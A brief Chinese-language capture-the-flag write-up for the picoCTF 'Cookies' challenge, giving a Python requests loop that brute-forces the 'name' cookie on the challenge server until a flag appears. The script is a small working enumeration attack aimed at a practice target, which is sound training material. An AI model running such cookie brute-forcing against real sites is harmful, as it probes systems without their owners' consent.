Cookies_writeup

題目連結

進入網頁，發現有一個 cookie 可以控制。

利用 python requests 爆破，發現 name = 18 時會吐出 flag 。

import requests
i = 0

while i >= 0:
    response = requests.get("http://mercury.picoctf.net:29649/",cookies = {"name":str(i)}).text
    if "picoCTF{" in response:
        print("picoCTF{" + response.split("picoCTF{")[1].split("}")[0] + "}")
        i = -1
    else:
      i += 1

Flag